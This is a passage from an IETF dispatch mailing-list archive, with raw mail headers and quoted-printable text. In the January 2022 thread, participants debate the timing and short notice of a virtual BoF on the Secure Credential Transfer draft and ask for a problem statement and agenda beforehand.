>>> >>> _______________________________________________ >> dispatch mailing list >> dispatch@ietf.org >> https://www.ietf.org/mailman/listinfo/dispatch >> > _______________________________________________ > dispatch mailing list > dispatch@ietf.org > https://www.ietf.org/mailman/listinfo/dispatch > --0000000000000b664e05d686cb69 Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: quoted-printable
Either way, there's not really m= uch detail to help prepare for the BoF. With it being two weeks away I'= d expect to see an agenda at least.

Cheers,
<= div>Lucas

On Thu, Jan 27, 2022 at 1:39 AM Richard Barnes <rlb@ipv.sx> wrote:
I have the opposit= e concerns from Eric and Mark.=C2=A0 Holding a BoF outside the IETF week me= ans less competition for peoples' attention.=C2=A0 And in the era of ea= sy, high-quality conferencing, it's ridiculous to delay work for months= on the basis that we can only get the right group of people together three= weeks a year.

+1 for virtual BoFs
<= br>
--Richard

On Wed, Jan 26, 2022 at 7:22 PM Eric Resco= rla <ekr@rtfm.com&= gt; wrote:
I share Mark's concerns about this BoF. Is there a rea= son this wasn't held during IETF week?

-Ek= r


On Wed, Jan 26, 2022 at 4:17 PM Mark Nottingham <<= a href=3D"mailto:mnot@mnot.net" target=3D"_blank">mnot@mnot.net> wro= te:
I'm a li= ttle surprised to hear this.

Holding BoFs during IETF weeks gives them elevated visibility during a peri= od when IETF folks have already reserved their attention and time for IETF = matters. Scheduling one out of an IETF week means that people need to accom= modate it in their schedules, not only for the event but also for preparati= on work.

Holding such a BoF virtually compounds that -- especially when there has be= en ZERO consultation with the broad community about timing. E.g, if I wante= d to attend this BoF, I'd need to be up before 4am.

The icing on the cake, though, is announcing it with only two weeks' no= tice -- a period of time shorter than many vacations.

As a result, I have very little confidence that this BoF will reflect commu= nity consensus and input. Of course, you will confirm consensus on lists, e= tc., but holding the BoF in such a limited forum taints the outcome.

IESG, this is a horrible precedent and while I won't specifically argue= to cancel or delay this BoF, I do expect you to be much more thoughtful ab= out these issues.

Cheers,


> On 26 Jan 2022, at 12:00 pm, Matthew Byington <mbyington=3D40apple.com@dmarc.= ietf.org> wrote:
>
> Hi Eric,
>
> My understanding is that the BoF will be handled virtually (not in-per= son). It has also been scheduled outside of the normal IETF week.
>
> The BoF is working-group forming, yes.
>
> Matt
>
>> On Jan 25, 2022, at 11:38 AM, Eric Rescorla <ekr@rtfm.com> wrote:
>>
>> Can you clarify what the status of a "virtual BoF" is, h= ere? I.e., is this in lieu of an actual BoF at the next IETF? Is this WG fo= rming?
>>
>> -Ekr
>>
>>
>> On Tue, Jan 25, 2022 at 11:36 AM Matthew Byington <mbyington=3D= 40apple.com= @dmarc.ietf.org> wrote:
>> Hi there,
>>
>> I wanted to send an email out communicating an upcoming virtual Bo= F meeting scheduled for Thursday February 10th.
>>
>> This is a follow-on to the initial presentation at IETF week 112 g= iven last year.
>>
>> I am posting the information below to a few different IETF mailing= lists, so apologies if you receive duplicate notifications on the subject.=
>>
>> A big =E2=80=9Cthank you=E2=80=9D to Francesca for helping us to g= et this scheduled and organized.
>>
>> Latest draft:
>>=C2=A0 =C2=A0 =C2=A0 https://www.ietf.org/archive/id/draft-secure-credential-transfer-03.html
>>
>> Charter:
>>=C2=A0 =C2=A0 =C2=A0 https://github.com/dimmyvi/secure-credential-transfer/blob/main/charter.= md
>>=C2=A0 =C2=A0 =C2=A0
>> BoF Request:
>>=C2=A0 =C2=A0 =C2=A0 https://datatracker.ietf.org/doc/bofreq-secure-credential-transfer-= bof-request/
>>=C2=A0 =C2=A0 =C2=A0
>> Virtual BoF (Francesca is finalizing this schedule still, but this= is the proposed date and time):
>>=C2=A0 =C2=A0 =C2=A0 Thursday February 10th 17:00-19:00 UTC (https://www.worldtimebuddy.com/?qm=3D1&lid=3D2673= 730,5,8,100&h=3D2673730&date=3D2022-2-10&sln=3D18-20&hf=3D1= )
>>
>> Mailing list:
>>=C2=A0 =C2=A0 =C2=A0 https://www.ietf.org/mailma= n/listinfo/secret
>>
>> Thanks,
>> Matt
>> _______________________________________________
>> dispatch mailing list
>> dispatch@ie= tf.org
>> https://www.ietf.org/mailman/listinfo/dispatc= h
>
> _______________________________________________
> dispatch mailing list
> dispatch@ietf.o= rg
> https://www.ietf.org/mailman/listinfo/dispatch

--
Mark Nottingham=C2=A0 =C2=A0https://www.mnot.net/

_______________________________________________
dispatch mailing list
dispatch@ietf.org
https://www.ietf.org/mailman/listinfo/dispatch
_______________________________________________
dispatch mailing list
dispatch@ietf.org
https://www.ietf.org/mailman/listinfo/dispatch
--0000000000000b664e05d686cb69-- From nobody Wed Jan 26 19:05:23 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id A28113A153B for ; Wed, 26 Jan 2022 19:05:20 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -6.896 X-Spam-Level: X-Spam-Status: No, score=-6.896 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, HTML_MESSAGE=0.001, RCVD_IN_DNSWL_HI=-5, SPF_HELO_NONE=0.001, SPF_NONE=0.001, URIBL_BLOCKED=0.001] autolearn=unavailable autolearn_force=no Authentication-Results: ietfa.amsl.com (amavisd-new); dkim=pass (2048-bit key) header.d=rtfm-com.20210112.gappssmtp.com Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id UKeBMNv_tgxx for ; Wed, 26 Jan 2022 19:05:15 -0800 (PST) Received: from mail-il1-x132.google.com (mail-il1-x132.google.com [IPv6:2607:f8b0:4864:20::132]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id 235F23A1532 for ; Wed, 26 Jan 2022 19:05:15 -0800 (PST) Received: by mail-il1-x132.google.com with SMTP id i1so1377379ils.5 for ; Wed, 26 Jan 2022 19:05:15 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=rtfm-com.20210112.gappssmtp.com; s=20210112; h=mime-version:references:in-reply-to:from:date:message-id:subject:to :cc; bh=zvX1wAUAO17EOjrYoMy9tyWQzDhaDfOzq6QuzGBNx7E=; b=FRicnVKt+wfbRJjcYsFIWiUbzzM/SOyFV/KNZbhH3UyujIjNbjTkZng8T5hl+iklOn R1xDudLg4vv9U8NaaPWGDXkb2v1RFosGDkhyUAHMqZssFDBfxGRwXLMA3OYMqTPVUusr lSMkKKSJAy28FJwajTS+f0nJeJRHEYgCRAdVR/Lqv6Ew3QGkOA1nBhQHgY+tY7Z732jU SYM6hEkLzYhX+y97xFs8zOkC3CKSPALf8d6+irwL+sc6DwCH9rFEqEkkDkchjrtAEUcb KpwGpDz8mtaKeC4yt29Sy6aF6xW/iNDwBtizSFEOEO3mKsPr4zkucC3rjIWEZrRuuwiM 4Ixg== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20210112; h=x-gm-message-state:mime-version:references:in-reply-to:from:date :message-id:subject:to:cc; bh=zvX1wAUAO17EOjrYoMy9tyWQzDhaDfOzq6QuzGBNx7E=; b=aR1V/+lTVC+6LQWuZl5lw906DHqJSxNt21fxKasNovRGqJxMEHTtVm5JhvrwLGtlfi Dmzts49xYKCeMaUaI3eX1GG2ITvD8TRE3J83ydzgdtUc5sTOI/PcBUkXu1yALy4iE7Tb ZNoz2XhzCJtacXZG5EuXigD8iOuKgPkfgOvujiA4oYHFlZCckIJnrgTrFai7lvnToBaY 89dwYDvWUlM22oJrUct1WF0P2B8AyuL6166fRgoXApcywH+Ky4qntm/WCYuj1+LMgRMf ULw6P64LHRn6xuqkIPHdlsvenU1BOHD0UvPKXhVtErCxn5DQzBgKWkWrTxYft39ckGBR h39w== X-Gm-Message-State: AOAM530v/QOQfMf7dQ1SY87U77akElSBQXCDHtBrUIxMd4ReqZ94xLgO 89CnZPTZ/8VK8ZcilKEQ8KAYrMajFcnhhIKXfLFPUw== X-Google-Smtp-Source: ABdhPJz6Vqb0p8uAJzL2XBjrRa8E3gl3eESNVSsUFgKxri2qS7tQRK0ctk5JcfGBLic3YrXfZRFMhAQICUpT6ZM9nTE= X-Received: by 2002:a92:cda8:: with SMTP id g8mr1406009ild.219.1643252713775; Wed, 26 Jan 2022 19:05:13 -0800 (PST) MIME-Version: 1.0 References: In-Reply-To: From: Eric Rescorla Date: Wed, 26 Jan 2022 19:04:38 -0800 Message-ID: To: Lucas Pardue Cc: Richard Barnes , DISPATCH , The IESG , Matthew Byington Content-Type: multipart/alternative; boundary="00000000000047f79605d687967c" Archived-At: Subject: Re: [dispatch] Secure Credential Transfer Charter & BoF X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Jan 2022 03:05:21 -0000 --00000000000047f79605d687967c Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable At this point I'm going to repeat my ask (in my review when this was DISPATCHED) for some document which describes the problem and the assumed constraints. This protocol has a number of features which seem surprising, and without understanding the context it is essentially impossible to determine whether those are necessary or misfeatures. It would be extremely helpful if you posted this with sufficient time for people to read this *prior* to the BoF, say in the next week or so. -Ekr On Wed, Jan 26, 2022 at 6:08 PM Lucas Pardue wrote: > Either way, there's not really much detail to help prepare for the BoF. > With it being two weeks away I'd expect to see an agenda at least. > > Cheers, > Lucas > > On Thu, Jan 27, 2022 at 1:39 AM Richard Barnes wrote: > >> I have the opposite concerns from Eric and Mark. Holding a BoF outside >> the IETF week means less competition for peoples' attention. And in the >> era of easy, high-quality conferencing, it's ridiculous to delay work fo= r >> months on the basis that we can only get the right group of people toget= her >> three weeks a year. >> >> +1 for virtual BoFs >> >> --Richard >> >> On Wed, Jan 26, 2022 at 7:22 PM Eric Rescorla wrote: >> >>> I share Mark's concerns about this BoF. Is there a reason this wasn't >>> held during IETF week? >>> >>> -Ekr >>> >>> >>> On Wed, Jan 26, 2022 at 4:17 PM Mark Nottingham wrote: >>> >>>> I'm a little surprised to hear this. >>>> >>>> Holding BoFs during IETF weeks gives them elevated visibility during a >>>> period when IETF folks have already reserved their attention and time = for >>>> IETF matters. Scheduling one out of an IETF week means that people nee= d to >>>> accommodate it in their schedules, not only for the event but also for >>>> preparation work. >>>> >>>> Holding such a BoF virtually compounds that -- especially when there >>>> has been ZERO consultation with the broad community about timing. E.g,= if I >>>> wanted to attend this BoF, I'd need to be up before 4am. >>>> >>>> The icing on the cake, though, is announcing it with only two weeks' >>>> notice -- a period of time shorter than many vacations. >>>> >>>> As a result, I have very little confidence that this BoF will reflect >>>> community consensus and input. Of course, you will confirm consensus o= n >>>> lists, etc., but holding the BoF in such a limited forum taints the ou= tcome. >>>> >>>> IESG, this is a horrible precedent and while I won't specifically argu= e >>>> to cancel or delay this BoF, I do expect you to be much more thoughtfu= l >>>> about these issues. >>>> >>>> Cheers, >>>> >>>> >>>> > On 26 Jan 2022, at 12:00 pm, Matthew Byington >>> 40apple.com@dmarc.ietf.org> wrote: >>>> > >>>> > Hi Eric, >>>> > >>>> > My understanding is that the BoF will be handled virtually (not >>>> in-person). It has also been scheduled outside of the normal IETF week= . >>>> > >>>> > The BoF is working-group forming, yes. >>>> > >>>> > Matt >>>> > >>>> >> On Jan 25, 2022, at 11:38 AM, Eric Rescorla wrote: >>>> >> >>>> >> Can you clarify what the status of a "virtual BoF" is, here? I.e., >>>> is this in lieu of an actual BoF at the next IETF? Is this WG forming? >>>> >> >>>> >> -Ekr >>>> >> >>>> >> >>>> >> On Tue, Jan 25, 2022 at 11:36 AM Matthew Byington >>> 40apple.com@dmarc.ietf.org> wrote: >>>> >> Hi there, >>>> >> >>>> >> I wanted to send an email out communicating an upcoming virtual BoF >>>> meeting scheduled for Thursday February 10th. >>>> >> >>>> >> This is a follow-on to the initial presentation at IETF week 112 >>>> given last year. >>>> >> >>>> >> I am posting the information below to a few different IETF mailing >>>> lists, so apologies if you receive duplicate notifications on the subj= ect. >>>> >> >>>> >> A big =E2=80=9Cthank you=E2=80=9D to Francesca for helping us to ge= t this scheduled >>>> and organized. >>>> >> >>>> >> Latest draft: >>>> >> >>>> https://www.ietf.org/archive/id/draft-secure-credential-transfer-03.ht= ml >>>> >> >>>> >> Charter: >>>> >> >>>> https://github.com/dimmyvi/secure-credential-transfer/blob/main/charte= r.md >>>> >> >>>> >> BoF Request: >>>> >> >>>> https://datatracker.ietf.org/doc/bofreq-secure-credential-transfer-bof= -request/ >>>> >> >>>> >> Virtual BoF (Francesca is finalizing this schedule still, but this >>>> is the proposed date and time): >>>> >> Thursday February 10th 17:00-19:00 UTC ( >>>> https://www.worldtimebuddy.com/?qm=3D1&lid=3D2673730,5,8,100&h=3D26737= 30&date=3D2022-2-10&sln=3D18-20&hf=3D1 >>>> ) >>>> >> >>>> >> Mailing list: >>>> >> https://www.ietf.org/mailman/listinfo/secret >>>> >> >>>> >> Thanks, >>>> >> Matt >>>> >> _______________________________________________ >>>> >> dispatch mailing list >>>> >> dispatch@ietf.org >>>> >> https://www.ietf.org/mailman/listinfo/dispatch >>>> > >>>> > _______________________________________________ >>>> > dispatch mailing list >>>> > dispatch@ietf.org >>>> > https://www.ietf.org/mailman/listinfo/dispatch >>>> >>>> -- >>>> Mark Nottingham https://www.mnot.net/ >>>> >>>> _______________________________________________ >>> dispatch mailing list >>> dispatch@ietf.org >>> https://www.ietf.org/mailman/listinfo/dispatch >>> >> _______________________________________________ >> dispatch mailing list >> dispatch@ietf.org >> https://www.ietf.org/mailman/listinfo/dispatch >> > --00000000000047f79605d687967c Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: quoted-printable
At this point I'm going to repeat my ask=C2=A0 (i= n my review when this was DISPATCHED) for some document which describes the= problem and the assumed constraints.

This protoco= l has a number of features which seem surprising, and without understanding= the context it is essentially impossible to determine whether those are ne= cessary or misfeatures.

It would be extremely help= ful if you posted this with sufficient time for people to read this *prior*= to the BoF, say in the next week or so.

-Ekr<= /div>


On Wed, Jan 26, 2022 at 6:08 PM Lucas Pardue <lucaspardue.24.7@= gmail.com> wrote:
Either way, there's n= ot really much detail to help prepare for the BoF. With it being two weeks = away I'd expect to see an agenda at least.

Che= ers,
Lucas

On Thu, Jan 27, 2022 at 1:39 AM Richard Barne= s <rlb@ipv.sx> wr= ote:
I have the opposite concerns from Eric and Mark.=C2=A0 Holding a= BoF outside the IETF week means less competition for peoples' attentio= n.=C2=A0 And in the era of easy, high-quality conferencing, it's ridicu= lous to delay work for months on the basis that we can only get the right g= roup of people together three weeks a year.

+1 for= virtual BoFs

--Richard

On Wed, Jan 2= 6, 2022 at 7:22 PM Eric Rescorla <ekr@rtfm.com> wrote:
I share Mark's concerns a= bout this BoF. Is there a reason this wasn't held during IETF week?
=

-Ekr


On Wed, Jan 26, 2022 at = 4:17 PM Mark Nottingham <mnot@mnot.net> wrote:
I'm a little surprised to hear this.

Holding BoFs during IETF weeks gives them elevated visibility during a peri= od when IETF folks have already reserved their attention and time for IETF = matters. Scheduling one out of an IETF week means that people need to accom= modate it in their schedules, not only for the event but also for preparati= on work.

Holding such a BoF virtually compounds that -- especially when there has be= en ZERO consultation with the broad community about timing. E.g, if I wante= d to attend this BoF, I'd need to be up before 4am.

The icing on the cake, though, is announcing it with only two weeks' no= tice -- a period of time shorter than many vacations.

As a result, I have very little confidence that this BoF will reflect commu= nity consensus and input. Of course, you will confirm consensus on lists, e= tc., but holding the BoF in such a limited forum taints the outcome.

IESG, this is a horrible precedent and while I won't specifically argue= to cancel or delay this BoF, I do expect you to be much more thoughtful ab= out these issues.

Cheers,


> On 26 Jan 2022, at 12:00 pm, Matthew Byington <mbyington=3D40apple.com@dmarc.= ietf.org> wrote:
>
> Hi Eric,
>
> My understanding is that the BoF will be handled virtually (not in-per= son). It has also been scheduled outside of the normal IETF week.
>
> The BoF is working-group forming, yes.
>
> Matt
>
>> On Jan 25, 2022, at 11:38 AM, Eric Rescorla <ekr@rtfm.com> wrote:
>>
>> Can you clarify what the status of a "virtual BoF" is, h= ere? I.e., is this in lieu of an actual BoF at the next IETF? Is this WG fo= rming?
>>
>> -Ekr
>>
>>
>> On Tue, Jan 25, 2022 at 11:36 AM Matthew Byington <mbyington=3D= 40apple.com= @dmarc.ietf.org> wrote:
>> Hi there,
>>
>> I wanted to send an email out communicating an upcoming virtual Bo= F meeting scheduled for Thursday February 10th.
>>
>> This is a follow-on to the initial presentation at IETF week 112 g= iven last year.
>>
>> I am posting the information below to a few different IETF mailing= lists, so apologies if you receive duplicate notifications on the subject.=
>>
>> A big =E2=80=9Cthank you=E2=80=9D to Francesca for helping us to g= et this scheduled and organized.
>>
>> Latest draft:
>>=C2=A0 =C2=A0 =C2=A0 https://www.ietf.org/archive/id/draft-secure-credential-transfer-03.html
>>
>> Charter:
>>=C2=A0 =C2=A0 =C2=A0 https://github.com/dimmyvi/secure-credential-transfer/blob/main/charter.= md
>>=C2=A0 =C2=A0 =C2=A0
>> BoF Request:
>>=C2=A0 =C2=A0 =C2=A0 https://datatracker.ietf.org/doc/bofreq-secure-credential-transfer-= bof-request/
>>=C2=A0 =C2=A0 =C2=A0
>> Virtual BoF (Francesca is finalizing this schedule still, but this= is the proposed date and time):
>>=C2=A0 =C2=A0 =C2=A0 Thursday February 10th 17:00-19:00 UTC (https://www.worldtimebuddy.com/?qm=3D1&lid=3D2673= 730,5,8,100&h=3D2673730&date=3D2022-2-10&sln=3D18-20&hf=3D1= )
>>
>> Mailing list:
>>=C2=A0 =C2=A0 =C2=A0 https://www.ietf.org/mailma= n/listinfo/secret
>>
>> Thanks,
>> Matt
>> _______________________________________________
>> dispatch mailing list
>> dispatch@ie= tf.org
>> https://www.ietf.org/mailman/listinfo/dispatc= h
>
> _______________________________________________
> dispatch mailing list
> dispatch@ietf.o= rg
> https://www.ietf.org/mailman/listinfo/dispatch

--
Mark Nottingham=C2=A0 =C2=A0https://www.mnot.net/

_______________________________________________
dispatch mailing list
dispatch@ietf.org
https://www.ietf.org/mailman/listinfo/dispatch
_______________________________________________
dispatch mailing list
dispatch@ietf.org
https://www.ietf.org/mailman/listinfo/dispatch
--00000000000047f79605d687967c-- From nobody Thu Jan 27 09:01:17 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 5034D3A15F9; Thu, 27 Jan 2022 09:01:12 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.675 X-Spam-Level: X-Spam-Status: No, score=-2.675 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, DKIMWL_WL_HIGH=-0.576, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, DKIM_VALID_AU=-0.1, DKIM_VALID_EF=-0.1, HTML_MESSAGE=0.001, RCVD_IN_MSPIKE_H2=-0.001, SPF_HELO_NONE=0.001, SPF_PASS=-0.001, URIBL_BLOCKED=0.001] autolearn=ham autolearn_force=no Authentication-Results: ietfa.amsl.com (amavisd-new); dkim=pass (2048-bit key) header.d=apple.com Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id wjdgDRkBYdJz; Thu, 27 Jan 2022 09:01:07 -0800 (PST) Received: from rn-mailsvcp-ppex-lapp15.apple.com (rn-mailsvcp-ppex-lapp15.rno.apple.com [17.179.253.34]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id 69A513A15FA; Thu, 27 Jan 2022 09:01:07 -0800 (PST) Received: from pps.filterd (rn-mailsvcp-ppex-lapp15.rno.apple.com [127.0.0.1]) by rn-mailsvcp-ppex-lapp15.rno.apple.com (8.16.1.2/8.16.1.2) with SMTP id 20RGtBHH006929; Thu, 27 Jan 2022 09:01:06 -0800 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=apple.com; h=from : message-id : content-type : mime-version : subject : date : in-reply-to : cc : to : references; s=20180706; bh=xrK12JKqZWTznBnixBx298262RgaQITsWcL87lP8Vzw=; b=KCQEb2iKdwxlIM+1v0Oez31Z0w3Jz1USTdmjqrEhKdhGUKmc0ZzREWc7iHgfE2WdBaMe n8t+x4dmhpW1NoQqmxjtI7fBhf3fL49ruEnSOUb4z7Nl8LwJmRNMD7OqRqCjy8E+Kxxh fYtQNZvoSg7snro/x3WWQRWUhUZUlwMhkH1ua4IrUJidptInYme7/663ETfX53jvpswc 2XMJBCoMc9NFSIi7Z63Osz87ZUrIFNFv9trh/1RzBegzOsxRMhyENT0Xw/Qbl75uYN24 BELWDsuZ69wPTGQLHnmram2QXPeUWhLm3i0YWxZbvjJZnplGThK97Knp6TXJtCN655el AQ== Received: from rn-mailsvcp-mta-lapp02.rno.apple.com (rn-mailsvcp-mta-lapp02.rno.apple.com [10.225.203.150]) by rn-mailsvcp-ppex-lapp15.rno.apple.com with ESMTP id 3drgcfktgj-3 (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO); Thu, 27 Jan 2022 09:01:06 -0800 Received: from rn-mailsvcp-mmp-lapp04.rno.apple.com (rn-mailsvcp-mmp-lapp04.rno.apple.com [17.179.253.17]) by rn-mailsvcp-mta-lapp02.rno.apple.com (Oracle Communications Messaging Server 8.1.0.12.20210903 64bit (built Sep 3 2021)) with ESMTPS id <0R6D00NUMOLTPX80@rn-mailsvcp-mta-lapp02.rno.apple.com>; Thu, 27 Jan 2022 09:01:05 -0800 (PST) Received: from process_milters-daemon.rn-mailsvcp-mmp-lapp04.rno.apple.com by rn-mailsvcp-mmp-lapp04.rno.apple.com (Oracle Communications Messaging Server 8.1.0.12.20210903 64bit (built Sep 3 2021)) id <0R6D00V00O8HHI00@rn-mailsvcp-mmp-lapp04.rno.apple.com>; Thu, 27 Jan 2022 09:01:05 -0800 (PST) X-Va-A: X-Va-T-CD: 7a77f9138d60728e010dfb6f2118f5e7 X-Va-E-CD: 1b2514d45a6cbacdd746d7feed02cb99 X-Va-R-CD: 21f245648979a34695bda2dc7cf5e7b6 X-Va-CD: 0 X-Va-ID: 4cc126a1-71a1-4831-88aa-15741260668f X-V-A: X-V-T-CD: 7a77f9138d60728e010dfb6f2118f5e7 X-V-E-CD: 1b2514d45a6cbacdd746d7feed02cb99 X-V-R-CD: 21f245648979a34695bda2dc7cf5e7b6 X-V-CD: 0 X-V-ID: e3cc16b5-c634-451d-8fce-0cd23bc40004 X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:6.0.425, 18.0.816 definitions=2022-01-27_03:2022-01-27, 2022-01-27 signatures=0 Received: from smtpclient.apple (unknown [17.150.223.76]) by rn-mailsvcp-mmp-lapp04.rno.apple.com (Oracle Communications Messaging Server 8.1.0.12.20210903 64bit (built Sep 3 2021)) with ESMTPSA id <0R6D00H21OLR6S00@rn-mailsvcp-mmp-lapp04.rno.apple.com>; Thu, 27 Jan 2022 09:01:03 -0800 (PST) From: Matthew Byington Message-id: <6D19DF62-D6C0-42F3-A174-937E0C1E5E12@apple.com> Content-type: multipart/alternative; boundary="Apple-Mail=_44A0F1BC-2449-4610-A85C-3B40EEAE744B" MIME-version: 1.0 (Mac OS X Mail 14.0 \(3654.120.0.1.13\)) Date: Thu, 27 Jan 2022 09:01:03 -0800 In-reply-to: Cc: Lucas Pardue , Richard Barnes , DISPATCH , The IESG To: Eric Rescorla References: X-Mailer: Apple Mail (2.3654.120.0.1.13) X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:6.0.425, 18.0.816 definitions=2022-01-27_03:2022-01-27, 2022-01-27 signatures=0 Archived-At: Subject: Re: [dispatch] Secure Credential Transfer Charter & BoF X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Jan 2022 17:01:13 -0000 --Apple-Mail=_44A0F1BC-2449-4610-A85C-3B40EEAE744B Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=utf-8 Hi Eric, Lucas, Thank you very much for the feedback. It is really valuable to me as I = am navigating IETF and BoFs in general to learn and better my = understanding of how these things should work. Mark/Eric/Richard thank you as well for your input on timing and the = fact that it is not being held at IETF week. I will circle back with = Francesca to discuss, but I=E2=80=99m personally really looking forward = to discussing the topic with the broader community sooner than IETF 113 = so that we can continue the discussion. Eric/Lucas - I will type up some supplemental material in addition to = the draft and charter that we published earlier this week to the mailing = lists and I will respond here with that material by EOD tomorrow (Friday = Jan 28) describing the problem statement in additional detail. In addition to responding here I=E2=80=99ll post it on our GitHub so = that it is available to folks who aren=E2=80=99t on this list. Thanks, Matt > On Jan 26, 2022, at 7:04 PM, Eric Rescorla wrote: >=20 > At this point I'm going to repeat my ask (in my review when this was = DISPATCHED) for some document which describes the problem and the = assumed constraints. >=20 > This protocol has a number of features which seem surprising, and = without understanding the context it is essentially impossible to = determine whether those are necessary or misfeatures. >=20 > It would be extremely helpful if you posted this with sufficient time = for people to read this *prior* to the BoF, say in the next week or so. >=20 > -Ekr >=20 >=20 > On Wed, Jan 26, 2022 at 6:08 PM Lucas Pardue = > wrote: > Either way, there's not really much detail to help prepare for the = BoF. With it being two weeks away I'd expect to see an agenda at least. >=20 > Cheers, > Lucas >=20 > On Thu, Jan 27, 2022 at 1:39 AM Richard Barnes > wrote: > I have the opposite concerns from Eric and Mark. Holding a BoF = outside the IETF week means less competition for peoples' attention. = And in the era of easy, high-quality conferencing, it's ridiculous to = delay work for months on the basis that we can only get the right group = of people together three weeks a year. >=20 > +1 for virtual BoFs >=20 > --Richard >=20 > On Wed, Jan 26, 2022 at 7:22 PM Eric Rescorla > wrote: > I share Mark's concerns about this BoF. Is there a reason this wasn't = held during IETF week? >=20 > -Ekr >=20 >=20 > On Wed, Jan 26, 2022 at 4:17 PM Mark Nottingham > wrote: > I'm a little surprised to hear this.=20 >=20 > Holding BoFs during IETF weeks gives them elevated visibility during a = period when IETF folks have already reserved their attention and time = for IETF matters. Scheduling one out of an IETF week means that people = need to accommodate it in their schedules, not only for the event but = also for preparation work.=20 >=20 > Holding such a BoF virtually compounds that -- especially when there = has been ZERO consultation with the broad community about timing. E.g, = if I wanted to attend this BoF, I'd need to be up before 4am. >=20 > The icing on the cake, though, is announcing it with only two weeks' = notice -- a period of time shorter than many vacations. >=20 > As a result, I have very little confidence that this BoF will reflect = community consensus and input. Of course, you will confirm consensus on = lists, etc., but holding the BoF in such a limited forum taints the = outcome. >=20 > IESG, this is a horrible precedent and while I won't specifically = argue to cancel or delay this BoF, I do expect you to be much more = thoughtful about these issues. >=20 > Cheers, >=20 >=20 > > On 26 Jan 2022, at 12:00 pm, Matthew Byington = > wrote: > >=20 > > Hi Eric, > >=20 > > My understanding is that the BoF will be handled virtually (not = in-person). It has also been scheduled outside of the normal IETF week. > >=20 > > The BoF is working-group forming, yes. > >=20 > > Matt > >=20 > >> On Jan 25, 2022, at 11:38 AM, Eric Rescorla > wrote: > >>=20 > >> Can you clarify what the status of a "virtual BoF" is, here? I.e., = is this in lieu of an actual BoF at the next IETF? Is this WG forming? > >>=20 > >> -Ekr > >>=20 > >>=20 > >> On Tue, Jan 25, 2022 at 11:36 AM Matthew Byington = > wrote: > >> Hi there, > >>=20 > >> I wanted to send an email out communicating an upcoming virtual BoF = meeting scheduled for Thursday February 10th. > >>=20 > >> This is a follow-on to the initial presentation at IETF week 112 = given last year. > >>=20 > >> I am posting the information below to a few different IETF mailing = lists, so apologies if you receive duplicate notifications on the = subject. > >>=20 > >> A big =E2=80=9Cthank you=E2=80=9D to Francesca for helping us to = get this scheduled and organized. > >>=20 > >> Latest draft: > >> = https://www.ietf.org/archive/id/draft-secure-credential-transfer-03.html = = > >>=20 > >> Charter: > >> = https://github.com/dimmyvi/secure-credential-transfer/blob/main/charter.md= = > >> =20 > >> BoF Request: > >> = https://datatracker.ietf.org/doc/bofreq-secure-credential-transfer-bof-req= uest/ = > >> =20 > >> Virtual BoF (Francesca is finalizing this schedule still, but this = is the proposed date and time): > >> Thursday February 10th 17:00-19:00 UTC = (https://www.worldtimebuddy.com/?qm=3D1&lid=3D2673730,5,8,100&h=3D2673730&= date=3D2022-2-10&sln=3D18-20&hf=3D1 = ) > >>=20 > >> Mailing list: > >> https://www.ietf.org/mailman/listinfo/secret = =20 > >>=20 > >> Thanks, > >> Matt > >> _______________________________________________ > >> dispatch mailing list > >> dispatch@ietf.org > >> https://www.ietf.org/mailman/listinfo/dispatch = > >=20 > > _______________________________________________ > > dispatch mailing list > > dispatch@ietf.org > > https://www.ietf.org/mailman/listinfo/dispatch = >=20 > -- > Mark Nottingham https://www.mnot.net/ >=20 > _______________________________________________ > dispatch mailing list > dispatch@ietf.org > https://www.ietf.org/mailman/listinfo/dispatch = > _______________________________________________ > dispatch mailing list > dispatch@ietf.org > https://www.ietf.org/mailman/listinfo/dispatch = --Apple-Mail=_44A0F1BC-2449-4610-A85C-3B40EEAE744B Content-Transfer-Encoding: quoted-printable Content-Type: text/html; charset=utf-8 Hi = Eric, Lucas,

Thank = you very much for the feedback. It is really valuable to me as I am = navigating IETF and BoFs in general to learn and better my understanding = of how these things should work.

